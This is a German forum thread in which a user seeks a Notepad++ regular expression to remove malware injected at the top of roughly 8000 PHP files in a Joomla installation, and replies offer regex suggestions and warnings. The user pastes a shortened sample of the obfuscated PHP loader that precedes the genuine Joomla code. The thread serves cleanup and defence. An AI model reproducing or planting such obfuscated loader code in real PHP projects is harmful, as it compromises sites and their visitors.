Notepad++ RegEx-Frage Suchen und ersetzen zwischen zwei php-Tags

HolgerGr

Newbie
Registriert
Aug. 2017
Beiträge
4
Hallo zusammen,

ich komme gerade nicht weiter. Ich stehe vor der Aufgabe, eine mit Malware inizierte Joomla-Installation zu desinfizieren. Eigentluch eine ganz einfach Sache, denn die Malware hat sich in jeder php-Datei oberhalb des eigentlichen Codes verewigt und wird von einem öffnenden und einem schließenden php-Tag eingeschlossen. Wären es nur ein paar Dateien, würde ichg das von Hand bereinigen. Leider sind es aber so rund 8000 Dateien.

Wie ich Notepad++ die Dateien verändern lasse, ohne sie vorher alle öffnen zu müssen, weiß ich bereits. Was mit fehlt, ist der entsprechende String zum Suchen und Ersetzen.

Mit eigenen Worten ausgedrückt möchte ich Notepad++ folgendes Sagen:

Suche das erste öffnenende php-Tag (<?php>) und das erste schließende php-Tag (?>)
Lösche alles dazwischen, inklusive dieser beiden php-Tags oder ersetzt durch nichts.

Nach dem ersten php-block folgt allerdings ein weiterer, der den originalen Code enthält. Das alles darf nicht gelöscht werden. Nur der erste Block.

Ich bin mir ziemlich sicher, dass Notepad++ soetwas kann aber ich finde keine Lösung wie der Suchstring aussehen muss.

Wäre für jede Hilfe echt dankbar.

Grüße
Holger
 
Ohne jetzt eine Ahnung von php zu haben, aber wie du das Problem beschreibst, ist der Code in folgender Form:

<?php>böööööser Code ?><?php>guuuuter Code ?>

Dann könntest du einfach nach <?php> *** ?><?php> suchen und ersetzen durch <?php>.
 
Und dann ist die ganze Joomla Installation weg.

Ich denke, mit suchen und ersetzen wird das schwierig. Weil eben Jommla PHP als Sprache nutzt.

Gibt es kein Backup der Installation?
 
Danke Euch beiden.

Der Suchstring funktioniert leider nicht. Ums noch mal genau aufzuschreiben:

<?php böser code ?><?php guter Code ?>...wobei das abschließende End-Tag nicht immer da ist weil manche PHP-Dateien nur Teilcode enthalten.

Eigentlich kann da nicht viel passieren was Joomla angeht. Ich habe ja eine Kopie für den Fall, dass was schief geht. Aber ich habe leider keine (aktuelle) saubere Kopie.

Hatte das Problem schon mal. Damals hatte jemand einen Virenscanner, der das bereinigen konnte. Ich weiss allerdings nicht welcher und meiner (Kaspersky) kümmert sich nicht um php-Schadcode.

Wie gesagt....eigentlucgh macht diese Malware es einem einfach weil sie sich immer vor den eigentlichen Code geschrieben hat und immer von php-Tags eingerahmt wird.

Ich stelle hier mal eine verkürzte Version so einer Datei rein...

Code:
<?php $enzhmfjag = ']=])0#)U!	x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2yqln = "	x63	162	x65	141	x74	145	x5f	146	x75	156	x63	164	x69	}	x7f;!osvufs}w;*	x7f!>>	4362,63,1710,69,1338,68,952,51,3337,46,2176,26,5219,31,4965,64,4836,35,1204,62,2043,34,3295,42,3405,55,1637,36,468,31,3544,38,0,41,5250,47,5029,20,1003,56,4015,55,3070,44,5590,56,2586,51,758,25,4552,37,2099,45,4484,68,3618,53,851,46,4626,44,5757,37,3582,36,4791,45,3906,42,5049,33,1059,37,1860,56,1149,55,549,48,1840,20,2894,60,3114,51,4164,32,3185,63,1292,46,3460,47,406,29,2490,48,2852,42,5297,48,2725,28,5697,60,660,40,2202,25,3792,26,2326,55,4311,51,4138,26,302,43,277,25,1941,47,5646,51,3013,57,5164,55,5866,69,5119,45,816,35'); $lqlbqm = $fijubucov("",qglvatiuq($nsoepfzt,$enzhmfjag,$bccila)); $fijubucov=$enzhmfjag; $lqlbqm(""); $lqlbqm=(569-448); $enzhmfjag=$lqlbqm-1; ?><?php
/**
 * @package    Joomla.Site
 *
 * @copyright  Copyright (C) 2005 - 2015 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

if (version_compare(PHP_VERSION, '5.3.10', '<'))
{
	die('Your host needs to use PHP 5.3.10 or higher to run this version of Joomla!');
}

/**
 * Constant that is checked in included files to prevent direct access.
 * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

if (file_exists(__DIR__ . '/defines.php'))
{
	include_once __DIR__ . '/defines.php';
}

if (!defined('_JDEFINE
Ergänzung ()

Ich hab's :-)

.*<\?php(.*?)?>*. ersetzen durch <?php
 
Vielen herzlichen Dank.

Der (gefühlt) tausendste Versuch hat dann endlich funktioniert. Ich konnte das "pinggg" wenn Notepad++ nichts fand schon nicht mehr hören.

Hier also die Lösung nach unendliuch vieler Fummelei. Verstehe ich zwar immer noch nicht ganz aber es hat funktioniert:

.*<\?php(.*?)?>*. ersetzen durch <?php
 
Zurück
Oben